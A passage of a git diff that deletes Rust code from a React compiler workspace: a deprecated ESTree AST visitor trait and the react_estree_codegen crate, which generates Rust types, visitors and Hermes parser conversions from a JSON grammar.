- * LICENSE file in the root directory of this source tree.
- */
-
-use crate::{
-    AssignmentPropertyOrRestElement, AssignmentTarget, Class, ClassItem, ClassPrivateProperty,
-    ClassProperty, Declaration, DeclarationOrExpression, ExportAllDeclaration,
-    ExportDefaultDeclaration, ExportNamedDeclaration, Expression, ExpressionOrPrivateIdentifier,
-    ExpressionOrSpread, ExpressionOrSuper, ForInInit, ForInit, Function, FunctionBody,
-    FunctionDeclaration, Identifier, ImportDeclaration, ImportDeclarationSpecifier,
-    ImportOrExportDeclaration, Literal, MethodDefinition, ModuleItem, Pattern, PrivateIdentifier,
-    PrivateName, Program, Statement, StaticBlock, Super, SwitchCase, VariableDeclarator, _Literal,
-};
-
-/// Trait for visiting an estree
-#[allow(non_camel_case_types)]
-#[deprecated]
-pub trait Visitor_DEPRECATED<'ast> {
-    fn visit_lvalue<F>(&mut self, f: F)
-    where
-        F: FnOnce(&mut Self),
-    {
-        f(self);
-    }
-
-    fn visit_rvalue<F>(&mut self, f: F)
-    where
-        F: FnOnce(&mut Self),
-    {
-        f(self);
-    }
-
-    fn visit_program(&mut self, program: &'ast Program) {
-        self.default_visit_program(program)
-    }
-
-    fn default_visit_program(&mut self, program: &'ast Program) {
-        for item in &program.body {
-            self.visit_module_item(item);
-        }
-    }
-
-    fn visit_function(&mut self, function: &'ast Function) {
-        self.default_visit_function(function);
-    }
-
-    fn default_visit_function(&mut self, function: &'ast Function) {
-        self.visit_lvalue(|visitor| {
-            for param in &function.params {
-                visitor.visit_pattern(param);
-            }
-        });
-        match &function.body {
-            Some(FunctionBody::BlockStatement(body)) => {
-                for stmt in &body.body {
-                    self.visit_statement(stmt)
-                }
-            }
-            Some(FunctionBody::Expression(body)) => self.visit_expression(body),
-            None => {}
-        }
-    }
-
-    fn visit_module_item(&mut self, item: &'ast ModuleItem) {
-        match item {
-            ModuleItem::Statement(item) => self.visit_statement(item),
-            ModuleItem::ImportOrExportDeclaration(item) => {
-                self.visit_import_or_export_declaration(item)
-            }
-        }
-    }
-
-    fn visit_import_or_export_declaration(&mut self, declaration: &'ast ImportOrExportDeclaration) {
-        match declaration {
-            ImportOrExportDeclaration::ImportDeclaration(declaration) => {
-                self.visit_import_declaration(declaration);
-            }
-            ImportOrExportDeclaration::ExportAllDeclaration(declaration) => {
-                self.visit_export_all_declaration(declaration);
-            }
-            ImportOrExportDeclaration::ExportDefaultDeclaration(declaration) => {
-                self.visit_export_default_declaration(declaration);
-            }
-            ImportOrExportDeclaration::ExportNamedDeclaration(declaration) => {
-                self.visit_export_named_declaration(declaration);
-            }
-        }
-    }
-
-    fn visit_import_declaration(&mut self, declaration: &'ast ImportDeclaration) {
-        self.visit_lvalue(|visitor| {
-            for specifier in &declaration.specifiers {
-                visitor.visit_import_declaration_specifier(specifier);
-            }
-        });
-        self.visit_import_source(&declaration.source);
-    }
-
-    fn visit_export_all_declaration(&mut self, declaration: &'ast ExportAllDeclaration) {
-        self.visit_export_source(&declaration.source);
-    }
-
-    fn visit_export_default_declaration(&mut self, declaration: &'ast ExportDefaultDeclaration) {
-        match &declaration.declaration {
-            DeclarationOrExpression::Declaration(declaration) => {
-                self.visit_declaration(declaration)
-            }
-            DeclarationOrExpression::Expression(declaration) => self.visit_expression(declaration),
-        }
-    }
-
-    fn visit_export_named_declaration(&mut self, declaration: &'ast ExportNamedDeclaration) {
-        if let Some(declaration) = &declaration.declaration {
-            self.visit_declaration(declaration)
-        }
-        if let Some(source) = &declaration.source {
-            self.visit_export_source(source);
-        }
-    }
-
-    fn visit_import_declaration_specifier(&mut self, specifier: &'ast ImportDeclarationSpecifier) {
-        match specifier {
-            ImportDeclarationSpecifier::ImportSpecifier(specifier) => {
-                self.visit_identifier(&specifier.local);
-            }
-            ImportDeclarationSpecifier::ImportDefaultSpecifier(specifier) => {
-                self.visit_identifier(&specifier.local);
-            }
-            ImportDeclarationSpecifier::ImportNamespaceSpecifier(specifier) => {
-                self.visit_identifier(&specifier.local);
-            }
-        }
-    }
-
-    fn visit_declaration(&mut self, declaration: &'ast Declaration) {
-        self.default_visit_declaration(declaration);
-    }
-
-    fn default_visit_declaration(&mut self, declaration: &'ast Declaration) {
-        match declaration {
-            Declaration::ClassDeclaration(declaration) => {
-                self.visit_class(&declaration.class);
-            }
-            Declaration::FunctionDeclaration(declaration) => {
-                self.visit_function_declaration(declaration);
-            }
-            Declaration::VariableDeclaration(declaration) => {
-                for declarator in &declaration.declarations {
-                    self.visit_variable_declarator(declarator)
-                }
-            }
-            Declaration::TSTypeAliasDeclaration(_declaration) => {
-                todo!("visit TSTypeAliasDeclaration")
-            }
-        }
-    }
-
-    fn visit_function_declaration(&mut self, declaration: &'ast FunctionDeclaration) {
-        self.visit_function(&declaration.function);
-    }
-
-    fn visit_statement(&mut self, stmt: &'ast Statement) {
-        self.default_visit_statement(stmt);
-    }
-
-    fn default_visit_statement(&mut self, stmt: &'ast Statement) {
-        match stmt {
-            Statement::BlockStatement(stmt) => {
-                for stmt in &stmt.body {
-                    self.visit_statement(stmt)
-                }
-            }
-            Statement::BreakStatement(_stmt) => {
-                // todo
-            }
-            Statement::ContinueStatement(_stmt) => {
-                // todo
-            }
-            Statement::DebuggerStatement(_stmt) => {
-                // todo
-            }
-            Statement::ClassDeclaration(stmt) => {
-                self.visit_class(&stmt.class);
-            }
-            Statement::DoWhileStatement(stmt) => {
-                self.visit_statement(&stmt.body);
-                self.visit_expression(&stmt.test);
-            }
-            Statement::EmptyStatement(_stmt) => {
-                // nothing to do
-            }
-            Statement::ExpressionStatement(stmt) => {
-                self.visit_expression(&stmt.expression);
-            }
-            Statement::ForInStatement(stmt) => {
-                self.visit_for_in_init(&stmt.left);
-                self.visit_expression(&stmt.right);
-                self.visit_statement(&stmt.body);
-            }
-            Statement::ForOfStatement(stmt) => {
-                self.visit_for_in_init(&stmt.left);
-                self.visit_expression(&stmt.right);
-                self.visit_statement(&stmt.body);
-            }
-            Statement::ForStatement(stmt) => {
-                if let Some(init) = &stmt.init {
-                    self.visit_for_init(init);
-                }
-                if let Some(test) = &stmt.test {
-                    self.visit_expression(test);
-                }
-                if let Some(update) = &stmt.update {
-                    self.visit_expression(update);
-                }
-                self.visit_statement(&stmt.body);
-            }
-            Statement::FunctionDeclaration(stmt) => {
-                self.visit_function_declaration(stmt);
-            }
-            Statement::IfStatement(stmt) => {
-                self.visit_expression(&stmt.test);
-                self.visit_statement(&stmt.consequent);
-                if let Some(alternate) = &stmt.alternate {
-                    self.visit_statement(alternate);
-                }
-            }
-            Statement::LabeledStatement(stmt) => {
-                self.visit_statement(&stmt.body);
-            }
-            Statement::ReturnStatement(stmt) => {
-                if let Some(argument) = &stmt.argument {
-                    self.visit_expression(argument);
-                }
-            }
-            Statement::SwitchStatement(stmt) => {
-                self.visit_expression(&stmt.discriminant);
-                for case_ in &stmt.cases {
-                    self.visit_case(case_);
-                }
-            }
-            Statement::ThrowStatement(stmt) => {
-                self.visit_expression(&stmt.argument);
-            }
-            Statement::TryStatement(stmt) => {
-                for item in &stmt.block.body {
-                    self.visit_statement(item);
-                }
-                if let Some(handler) = &stmt.handler {
-                    if let Some(param) = &handler.param {
-                        self.visit_lvalue(|visitor| visitor.visit_pattern(param));
-                    }
-                    for item in &handler.body.body {
-                        self.visit_statement(item);
-                    }
-                }
-                if let Some(finalizer) = &stmt.finalizer {
-                    for item in &finalizer.body {
-                        self.visit_statement(item);
-                    }
-                }
-            }
-            Statement::VariableDeclaration(stmt) => {
-                for decl in &stmt.declarations {
-                    self.visit_variable_declarator(decl);
-                }
-            }
-            Statement::WhileStatement(stmt) => {
-                self.visit_expression(&stmt.test);
-                self.visit_statement(&stmt.body);
-            }
-            Statement::WithStatement(stmt) => {
-                self.visit_expression(&stmt.object);
-                self.visit_statement(&stmt.body);
-            }
-            Statement::TSTypeAliasDeclaration(_stmt) => {
-                todo!("visit TSTypeAliasDeclaration")
-            }
-        }
-    }
-
-    fn visit_class(&mut self, class: &'ast Class) {
-        if let Some(id) = &class.id {
-            self.visit_identifier(id)
-        }
-        if let Some(super_class) = &class.super_class {
-            self.visit_expression(super_class);
-        }
-        for item in &class.body.body {
-            match item {
-                ClassItem::MethodDefinition(item) => self.visit_method_definition(item),
-                ClassItem::ClassProperty(item) => {
-                    self.visit_class_property(item);
-                }
-                ClassItem::ClassPrivateProperty(item) => {
-                    self.visit_class_private_property(item);
-                }
-                ClassItem::StaticBlock(item) => {
-                    self.visit_static_block(item);
-                }
-            }
-        }
-    }
-
-    fn visit_class_property(&mut self, property: &'ast ClassProperty) {
-        self.visit_expression(&property.key);
-        if let Some(value) = &property.value {
-            self.visit_expression(value)
-        }
-    }
-
-    fn visit_class_private_property(&mut self, property: &'ast ClassPrivateProperty) {
-        match &property.key {
-            ExpressionOrPrivateIdentifier::Expression(key) => self.visit_expression(key),
-            ExpressionOrPrivateIdentifier::PrivateIdentifier(key) => {
-                self.visit_private_identifier(key)
-            }
-            ExpressionOrPrivateIdentifier::PrivateName(key) => self.visit_private_name(key),
-        }
-        if let Some(value) = &property.value {
-            self.visit_expression(value)
-        }
-    }
-
-    fn visit_static_block(&mut self, property: &'ast StaticBlock) {
-        for stmt in &property.body {
-            self.visit_statement(stmt)
-        }
-    }
-
-    fn visit_method_definition(&mut self, method: &'ast MethodDefinition) {
-        self.default_visit_method_definition(method);
-    }
-
-    fn default_visit_method_definition(&mut self, method: &'ast MethodDefinition) {
-        self.visit_expression(&method.key);
-        self.visit_function(&method.value.function);
-    }
-
-    fn visit_case(&mut self, case_: &'ast SwitchCase) {
-        if let Some(test) = &case_.test {
-            self.visit_expression(test);
-        }
-        for stmt in &case_.consequent {
-            self.visit_statement(stmt)
-        }
-    }
-
-    fn visit_for_init(&mut self, init: &'ast ForInit) {
-        match init {
-            ForInit::Expression(init) => {
-                self.visit_expression(init);
-            }
-            ForInit::VariableDeclaration(init) => {
-                for decl in &init.declarations {
-                    self.visit_variable_declarator(decl);
-                }
-            }
-        }
-    }
-
-    fn visit_for_in_init(&mut self, init: &'ast ForInInit) {
-        match init {
-            ForInInit::Pattern(init) => {
-                self.visit_pattern(init);
-            }
-            ForInInit::VariableDeclaration(init) => {
-                for decl in &init.declarations {
-                    self.visit_variable_declarator(decl);
-                }
-            }
-        }
-    }
-
-    fn visit_pattern(&mut self, pattern: &'ast Pattern) {
-        match pattern {
-            Pattern::Identifier(pattern) => self.visit_identifier(pattern),
-            Pattern::ArrayPattern(pattern) => {
-                for element in &pattern.elements {
-                    if let Some(element) = element {
-                        self.visit_pattern(element);
-                    }
-                }
-            }
-            Pattern::ObjectPattern(pattern) => {
-                for property in &pattern.properties {
-                    match property {
-                        AssignmentPropertyOrRestElement::AssignmentProperty(property) => {
-                            self.visit_pattern(&property.value);
-                        }
-                        AssignmentPropertyOrRestElement::RestElement(property) => {
-                            self.visit_pattern(&property.argument);
-                        }
-                    }
-                }
-            }
-            Pattern::RestElement(pattern) => self.visit_pattern(&pattern.argument),
-            Pattern::AssignmentPattern(pattern) => {
-                self.visit_pattern(&pattern.left);
-                self.visit_rvalue(|visitor| {
-                    visitor.visit_expression(&pattern.right);
-                });
-            }
-        }
-    }
-
-    fn visit_variable_declarator(&mut self, decl: &'ast VariableDeclarator) {
-        self.visit_lvalue(|visitor| {
-            visitor.visit_pattern(&decl.id);
-        });
-        if let Some(init) = &decl.init {
-            self.visit_expression(init);
-        }
-    }
-
-    fn visit_assignment_target(&mut self, target: &'ast AssignmentTarget) {
-        match target {
-            AssignmentTarget::Expression(target) => {
-                self.visit_expression(target);
-            }
-            AssignmentTarget::Pattern(target) => self.visit_pattern(target),
-        }
-    }
-
-    fn visit_expression(&mut self, expr: &'ast Expression) {
-        self.default_visit_expression(expr);
-    }
-
-    fn default_visit_expression(&mut self, expr: &'ast Expression) {
-        match expr {
-            Expression::ArrayExpression(expr) => {
-                for item in &expr.elements {
-                    match item {
-                        Some(ExpressionOrSpread::SpreadElement(item)) => {
-                            self.visit_expression(&item.argument)
-                        }
-                        Some(ExpressionOrSpread::Expression(item)) => self.visit_expression(item),
-                        _ => {}
-                    }
-                }
-            }
-            Expression::AssignmentExpression(expr) => {
-                self.visit_lvalue(|visitor| visitor.visit_assignment_target(&expr.left));
-                self.visit_expression(&expr.right);
-            }
-            Expression::BinaryExpression(expr) => {
-                self.visit_expression(&expr.left);
-                self.visit_expression(&expr.right);
-            }
-            Expression::Identifier(expr) => {
-                self.visit_identifier(expr);
-            }
-            Expression::Literal(expr) => self.visit_literal(expr),
-            Expression::FunctionExpression(expr) => self.visit_function(&expr.function),
-            Expression::ArrowFunctionExpression(expr) => self.visit_function(&expr.function),
-            Expression::MemberExpression(expr) => {
-                match &expr.object {
-                    ExpressionOrSuper::Super(object) => self.visit_super(object),
-                    ExpressionOrSuper::Expression(object) => self.visit_expression(object),
-                };
-                if !expr.is_computed {
-                    match &expr.property {
-                        ExpressionOrPrivateIdentifier::Expression(property) => {
-                            self.visit_expression(property)
-                        }
-                        ExpressionOrPrivateIdentifier::PrivateIdentifier(property) => {
-                            self.visit_private_identifier(property);
-                        }
-                        ExpressionOrPrivateIdentifier::PrivateName(property) => {
-                            self.visit_private_name(property);
-                        }
-                    }
-                }
-            }
-            Expression::CallExpression(expr) => {
-                match &expr.callee {
-                    ExpressionOrSuper::Expression(callee) => self.visit_expression(callee),
-                    ExpressionOrSuper::Super(callee) => self.visit_super(callee),
-                }
-                for arg in &expr.arguments {
-                    match arg {
-                        ExpressionOrSpread::Expression(arg) => self.visit_expression(arg),
-                        ExpressionOrSpread::SpreadElement(arg) => {
-                            self.visit_expression(&arg.argument)
-                        }
-                    }
-                }
-            }
-            Expression::UpdateExpression(expr) => {
-                self.visit_expression(&expr.argument);
-            }
-            Expression::BooleanLiteral(_)
-            | Expression::NullLiteral(_)
-            | Expression::StringLiteral(_)
-            | Expression::NumericLiteral(_) => {
-                // no-op
-            }
-            _ => {
-                todo!("{:#?}", expr)
-            }
-        }
-    }
-
-    fn visit_super(&mut self, _super: &'ast Super) {
-        todo!("Implement visit_super")
-    }
-
-    fn visit_private_identifier(&mut self, _identifier: &'ast PrivateIdentifier) {
-        todo!("Implement visit_private_identifier()")
-    }
-
-    fn visit_private_name(&mut self, _identifier: &'ast PrivateName) {
-        todo!("Implement visit_private_name()")
-    }
-
-    fn visit_identifier(&mut self, _identifier: &'ast Identifier) {
-        todo!("Implement visit_identifier()")
-    }
-
-    fn visit_import_source(&mut self, literal: &'ast _Literal) {
-        self.visit_any_literal(literal);
-    }
-
-    fn visit_export_source(&mut self, literal: &'ast _Literal) {
-        self.visit_any_literal(literal);
-    }
-
-    fn visit_any_literal(&mut self, _literal: &'ast _Literal) {
-        todo!("Implement visit_any_literal()")
-    }
-
-    fn visit_literal(&mut self, _literal: &'ast Literal) {
-        todo!("Implement visit_literal()")
-    }
-}
diff --git a/compiler/crates/react_estree_codegen/Cargo.toml b/compiler/crates/react_estree_codegen/Cargo.toml
deleted file mode 100644
index b147de8ebf14..000000000000
--- a/compiler/crates/react_estree_codegen/Cargo.toml
+++ /dev/null
@@ -1,21 +0,0 @@
-[package]
-name = "react_estree_codegen"
-version = "0.1.0"
-publish               = false
-authors.workspace     = true
-description.workspace = true
-edition.workspace     = true
-homepage.workspace    = true
-keywords.workspace    = true
-license.workspace     = true
-repository.workspace  = true
-
-# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
-
-[dependencies]
-indexmap = { workspace = true }
-prettyplease = { workspace = true }
-quote = { workspace = true }
-serde = { workspace = true }
-serde_json = { workspace = true }
-syn = { workspace = true }
diff --git a/compiler/crates/react_estree_codegen/README.md b/compiler/crates/react_estree_codegen/README.md
deleted file mode 100644
index 2ece9f7dc5ab..000000000000
--- a/compiler/crates/react_estree_codegen/README.md
+++ /dev/null
@@ -1,4 +0,0 @@
-# react_estree_codegen
-
-This crate is a build dependency for `react_estree`, and contains codegen logic to produce Rust code to describe the ESTree format
-given a JSON schema.
\ No newline at end of file
diff --git a/compiler/crates/react_estree_codegen/src/codegen.rs b/compiler/crates/react_estree_codegen/src/codegen.rs
deleted file mode 100644
index ed06fd27ff1e..000000000000
--- a/compiler/crates/react_estree_codegen/src/codegen.rs
+++ /dev/null
@@ -1,969 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-use std::collections::HashSet;
-
-use indexmap::IndexMap;
-use quote::__private::TokenStream;
-use quote::{format_ident, quote};
-use serde::{Deserialize, Serialize};
-use syn::Type;
-
-/// Returns prettyplease-formatted Rust source for estree
-pub fn estree() -> String {
-    let src = include_str!("./ecmascript.json");
-    let grammar: Grammar = serde_json::from_str(src).unwrap();
-    let raw = grammar.codegen().to_string();
-
-    let parsed = syn::parse_file(&raw).unwrap();
-    format!(
-        "// {}generated\n#![cfg_attr(rustfmt, rustfmt_skip)]\n{}",
-        '\u{0040}',
-        prettyplease::unparse(&parsed)
-    )
-}
-
-/// Returns prettyplease-formatted Rust source for converting HermesParser results
-/// into estree
-pub fn estree_hermes() -> String {
-    let src = include_str!("./ecmascript.json");
-    let grammar: Grammar = serde_json::from_str(src).unwrap();
-    let raw = grammar.codegen_hermes().to_string();
-
-    let parsed = syn::parse_file(&raw).unwrap();
-    format!(
-        "// {}generated\n#![cfg_attr(rustfmt, rustfmt_skip)]\n{}",
-        '\u{0040}',
-        prettyplease::unparse(&parsed)
-    )
-}
-
-#[derive(Serialize, Deserialize, Debug)]
-#[serde(deny_unknown_fields)]
-pub struct Grammar {
-    pub objects: IndexMap<String, Object>,
-    pub nodes: IndexMap<String, Node>,
-    pub enums: IndexMap<String, Enum>,
-    pub operators: IndexMap<String, Operator>,
-}
-
-impl Grammar {
-    pub fn codegen(self) -> TokenStream {
-        let object_defs: Vec<_> = self
-            .objects
-            .iter()
-            .map(|(name, object)| object.codegen(name))
-            .collect();
-        let object_visitors: Vec<_> = self
-            .objects
-            .iter()
-            .filter_map(|(name, object)| {
-                if object.visitor {
-                    Some(object.codegen_visitor(name, &self))
-                } else {
-                    None
-                }
-            })
-            .collect();
-        let node_defs: Vec<_> = self
-            .nodes
-            .iter()
-            .map(|(name, node)| node.codegen(name))
-            .collect();
-        let node_visitors: Vec<_> = self
-            .nodes
-            .iter()
-            .map(|(name, node)| node.codegen_visitor(name, &self))
-            .collect();
-        let enum_defs: Vec<_> = self
-            .enums
-            .iter()
-            .map(|(name, enum_)| enum_.codegen(name, &self.enums))
-            .collect();
-        let enum_visitors: Vec<_> = self
-            .enums
-            .iter()
-            .map(|(name, enum_)| enum_.codegen_visitor(name))
-            .collect();
-        let operator_defs: Vec<_> = self
-            .operators
-            .iter()
-            .map(|(name, operator)| operator.codegen(name))
-            .collect();
-
-        quote! {
-            #![allow(dead_code)]
-            #![allow(unused_variables)]
-            #![allow(non_snake_case)]
-            #![allow(clippy::enum_variant_names)]
-
-            use std::num::NonZeroU32;
-            use serde::ser::{Serializer, SerializeMap};
-            use serde::{Serialize,Deserialize};
-            use crate::{JsValue, Binding, SourceRange, Number, ESTreeNode};
-
-            #(#object_defs)*
-
-            #(#node_defs)*
-
-            #(#enum_defs)*
-
-            #(#operator_defs)*
-
-            pub trait Visitor {
-                #(#object_visitors)*
-
-                #(#node_visitors)*
-
-                #(#enum_visitors)*
-            }
-        }
-    }
-
-    pub fn codegen_hermes(self) -> TokenStream {
-        let nodes: Vec<_> = self
-            .nodes
-            .iter()
-            .filter(|(_, node)| !node.skip_hermes_codegen)
-            .map(|(name, node)| node.codegen_hermes(name))
-            .collect();
-        let enums: Vec<_> = self
-            .enums
-            .iter()
-            .map(|(name, enum_)| enum_.codegen_hermes(name, &self))
-            .collect();
-        let operators: Vec<_> = self
-            .operators
-            .iter()
-            .map(|(name, operator)| operator.codegen_hermes(name))
-            .collect();
-
-        quote! {
-            #![allow(dead_code)]
-            #![allow(unused_variables)]
-            #![allow(clippy::enum_variant_names)]
-
-            use react_estree::*;
-            use hermes::parser::{NodePtr, NodeKind, NodeLabel };
-            use hermes::utf::{utf8_with_surrogates_to_string};
-            use crate::generated_extension::*;
-
-            #(#nodes)*
-
-            #(#enums)*
-
-            #(#operators)*
-        }
-    }
-}
-
-#[derive(Serialize, Deserialize, Debug)]
-#[serde(deny_unknown_fields)]
-pub struct Object {
-    #[serde(default)]
-    pub fields: IndexMap<String, Field>,
-
-    #[serde(default)]
-    pub visitor: bool,
-}
-
-impl Object {
-    pub fn codegen(&self, name: &str) -> TokenStream {
-        let name = format_ident!("{}", name);
-        let fields: Vec<_> = self
-            .fields
-            .iter()
-            .map(|(name, field)| field.codegen(name))
-            .collect();
-
-        quote! {
-            #[derive(Serialize, Deserialize, Clone, Debug)]
-            #[serde(deny_unknown_fields)]
-            pub struct #name {
-                #(#fields),*
-            }
-        }
-    }
-
-    pub fn codegen_visitor(&self, name: &str, grammar: &Grammar) -> TokenStream {
-        let visitor_name = format_ident!("visit_{}", to_lower_snake_case(name));
-        let name = format_ident!("{}", name);
-        let field_visitors: Vec<_> = self
-            .fields
-            .iter()
-            .filter_map(|(name, field)| {
-                let (type_name_str, type_kind) = parse_type(&field.type_).unwrap();
-                if !grammar.nodes.contains_key(&type_name_str)
-                    && !grammar.enums.contains_key(&type_name_str)
-                {
-                    return None;
-                }
-                let visitor_name = format_ident!("visit_{}", to_lower_snake_case(&type_name_str));
-                let field_name = format_ident!("{}", name);
-                Some(match type_kind {
-                    TypeKind::Named => {
-                        quote! {
-                            self.#visitor_name(&ast.#field_name);
-                        }
-                    }
-                    TypeKind::Option => {
-                        quote! {
-                            if let Some(#field_name) = &ast.#field_name {
-                                self.#visitor_name(#field_name);
-                            }
-                        }
-                    }
-                    TypeKind::Vec => {
-                        quote! {
-                            for #field_name in &ast.#field_name {
-                                self.#visitor_name(#field_name);
-                            }
-                        }
-                    }
-                    TypeKind::VecOfOption => {
-                        quote! {
-                            for #field_name in &ast.#field_name {
-                                if let Some(#field_name) = #field_name {
-                                    self.#visitor_name(#field_name);
-                                }
-                            }
-                        }
-                    }
-                })
-            })
-            .collect();
-        quote! {
-            fn #visitor_name(&mut self, ast: &#name) {
-                #(#field_visitors)*
-            }
-        }
-    }
-}
-
-#[derive(Serialize, Deserialize, Debug)]
-#[serde(deny_unknown_fields)]
-pub struct Node {
-    #[serde(default)]
-    #[serde(rename = "type")]
-    pub type_: Option<String>,
-
-    #[serde(default)]
-    pub fields: IndexMap<String, Field>,
-
-    #[serde(default)]
-    pub skip_hermes_codegen: bool,
-
-    #[serde(default)]
-    pub skip_hermes_enum_variant: bool,
-
-    #[serde(default)]
-    #[serde(rename = "TODO")]
-    pub todo: Option<String>,
-}
-
-impl Node {
-    pub fn codegen(&self, name: &str) -> TokenStream {
-        let name_str = name;
-        let name = format_ident!("{}", name);
-        let fields: Vec<_> = self
-            .fields
-            .iter()
-            .map(|(name, field)| field.codegen_node(name))
-            .collect();
-
-        let type_serializer = if let Some(type_) = &self.type_ {
-            quote! {
-                state.serialize_entry("type", #type_)?;
-            }
-        } else {
-            quote! {
-                state.serialize_entry("type", #name_str)?;
-            }
-        };
-
-        let mut field_serializers = Vec::with_capacity(self.fields.len()); // type, loc, range
-        for (field_name_str, field) in &self.fields {
-            if field.skip {
-                continue;
-            }
-            let field_name = format_ident!("{}", field_name_str);
-            let serialized_field_name = field.rename.as_ref().unwrap_or(field_name_str);
-            let serializer = if field.flatten {
-                quote! {
-                    Serialize::serialize(&self.#field_name, serde::__private::ser::FlatMapSerializer(&mut state))?;
-                }
-            } else {
-                quote! {
-                    state.serialize_entry(#serialized_field_name, &self.#field_name)?;
-                }
-            };
-            field_serializers.push(serializer);
-        }
-
-        quote! {
-            #[derive(Deserialize, Clone, Debug)]
-            pub struct #name {
-                #(#fields,)*
-
-                #[serde(default)]
-                pub loc: Option<SourceLocation>,
-
-                #[serde(default)]
-                pub range: Option<SourceRange>,
-            }
-
-            impl ESTreeNode for #name {}
-
-            impl Serialize for #name {
-                fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
-                where
-                    S: Serializer,
-                {
-                    let mut state = serializer.serialize_map(None)?;
-                    #type_serializer
-                    #(#field_serializers)*
-                    state.serialize_entry("loc", &self.loc)?;
-                    state.serialize_entry("range", &self.range)?;
-                    state.end()
-                }
-            }
-        }
-    }
-
-    pub fn codegen_visitor(&self, name: &str, grammar: &Grammar) -> TokenStream {
-        let visitor_name = format_ident!("visit_{}", to_lower_snake_case(name));
-        let name = format_ident!("{}", name);
-        let field_visitors: Vec<_> = self
-            .fields
-            .iter()
-            .filter_map(|(name, field)| {
-                let (type_name_str, type_kind) = parse_type(&field.type_).unwrap();
-                if (!grammar.objects.contains_key(&type_name_str)
-                    || !grammar.objects.get(&type_name_str).unwrap().visitor)
-                    && !grammar.nodes.contains_key(&type_name_str)
-                    && !grammar.enums.contains_key(&type_name_str)
-                {
-                    return None;
-                }
-                let visitor_name = format_ident!("visit_{}", to_lower_snake_case(&type_name_str));
-                let field_name = format_ident!("{}", name);
-                Some(match type_kind {
-                    TypeKind::Named => {
-                        quote! {
-                            self.#visitor_name(&ast.#field_name);
-                        }
-                    }
-                    TypeKind::Option => {
-                        quote! {
-                            if let Some(#field_name) = &ast.#field_name {
-                                self.#visitor_name(#field_name);
-                            }
-                        }
-                    }
-                    TypeKind::Vec => {
-                        quote! {
-                            for #field_name in &ast.#field_name {
-                                self.#visitor_name(#field_name);
-                            }
-                        }
-                    }
-                    TypeKind::VecOfOption => {
-                        quote! {
-                            for #field_name in &ast.#field_name {
-                                if let Some(#field_name) = #field_name {
-                                    self.#visitor_name(#field_name);
-                                }
-                            }
-                        }
-                    }
-                })
-            })
-            .collect();
-        quote! {
-            fn #visitor_name(&mut self, ast: &#name) {
-                #(#field_visitors)*
-            }
-        }
-    }
-
-    pub fn codegen_hermes(&self, name: &str) -> TokenStream {
-        let name_str = name;
-        let name = format_ident!("{}", name);
-        let field_names: Vec<_> = self
-            .fields
-            .iter()
-            .map(|(name, _field)| format_ident!("{}", name))
-            .collect();
-        let fields: Vec<_> = self
-            .fields
-            .iter()
-            .map(|(name, field)| {
-                let (type_name_str, type_kind) = parse_type(&field.type_).unwrap();
-                let camelcase_name = field.rename.as_ref().unwrap_or(name);
-                let field_name = format_ident!("{}", name);
-                let helper = format_ident!("hermes_get_{}_{}", name_str, camelcase_name);
-                let type_name = format_ident!("{}", type_name_str);
-                if field.skip || field.hermes_default {
-                    return quote! {
-                        let #field_name = Default::default();
-                    };
-                }
-                if let Some(convert_with) = &field.hermes_convert_with {
-                    let convert_with = format_ident!("{}", convert_with);
-                    return quote! {
-                        let #field_name = #convert_with(cx, unsafe { hermes::parser::#helper(node) } );
-                    }
-                }
-                match type_kind {
-                    TypeKind::Named => {
-                        match type_name_str.as_ref() {
-                            "bool" => {
-                                quote! {
-                                    let #field_name = unsafe { hermes::parser::#helper(node) };
-                                }
-                            }
-                            "Number" => {
-                                quote! {
-                                    let #field_name = convert_number(unsafe { hermes::parser::#helper(node) });
-                                }
-                            }
-                            "String" => {
-                                quote! {
-                                    let #field_name = convert_string(cx, unsafe { hermes::parser::#helper(node) });
-                                }
-                            }
-                            _ => {
-                                quote! {
-                                    let #field_name = #type_name::convert(cx, unsafe { hermes::parser::#helper(node) });
-                                }
-                            }
-                        }
-                    }
-                    TypeKind::Option => {
-                        match type_name_str.as_ref() {
-                            "String" => {
-                                quote! {
-                                    let #field_name = convert_option_string(cx, unsafe { hermes::parser::#helper(node) });
-                                }
-                            }
-                            _ => {
-                                quote! {
-                                    let #field_name = convert_option(unsafe { hermes::parser::#helper(node) }, |node| #type_name::convert(cx, node));
-                                }
-                            }
-                        }
-                    }
-                    TypeKind::Vec => {
-                        quote! {
-                            let #field_name = convert_vec(unsafe { hermes::parser::#helper(node) }, |node| #type_name::convert(cx, node));
-                        }
-                    }
-                    TypeKind::VecOfOption => {
-                        quote! {
-                            let #field_name = convert_vec_of_option(unsafe { hermes::parser::#helper(node) }, |node| #type_name::convert(cx, node));
-                        }
-                    }
-                }
-            })
-            .collect();
-
-        let type_ = format_ident!("{}", self.type_.as_ref().unwrap_or(&name_str.to_string()));
-        quote! {
-            impl FromHermes for #name {
-                fn convert(cx: &mut Context, node: NodePtr) -> Self {
-                    let node_ref = node.as_ref();
-                    assert_eq!(node_ref.kind, NodeKind::#type_);
-                    let range = convert_range(cx, node);
-                    #(#fields)*
-                    Self {
-                        #(#field_names,)*
-                        loc: None,
-                        range: Some(range),
-                    }
-                }
-            }
-        }
-    }
-}
-
-#[derive(Serialize, Deserialize, Debug)]
-#[serde(deny_unknown_fields)]
-pub struct Field {
-    // TODO: deserialize with `parse_type` into a custom type
-    #[serde(rename = "type")]
-    pub type_: String,
-
-    #[serde(default)]
-    pub optional: bool,
-
-    #[serde(default)]
-    pub flatten: bool,
-
-    #[serde(default)]
-    pub rename: Option<String>,
-
-    #[serde(default)]
-    pub skip: bool,
-
-    #[serde(default)]
-    #[serde(rename = "TODO")]
-    pub todo: Option<String>,
-
-    #[serde(default)]
-    pub hermes_convert_with: Option<String>,
-
-    #[serde(default)]
-    pub hermes_default: bool,
-}
-
-impl Field {
-    pub fn codegen(&self, name: &str) -> TokenStream {
-        let name = format_ident!("{}", name);
-        parse_type(&self.type_).unwrap();
-        let type_name: Type = syn::parse_str(&self.type_)
-            .unwrap_or_else(|_| panic!("Expected a type name, got `{}`", &self.type_));
-
-        let type_ = quote!(#type_name);
-        let mut field = quote!(pub #name: #type_);
-        if self.optional {
-            field = quote! {
-                #[serde(default)]
-                #field
-            }
-        }
-        if self.flatten {
-            field = quote! {
-                #[serde(flatten)]
-                #field
-            }
-        }
-        if self.skip {
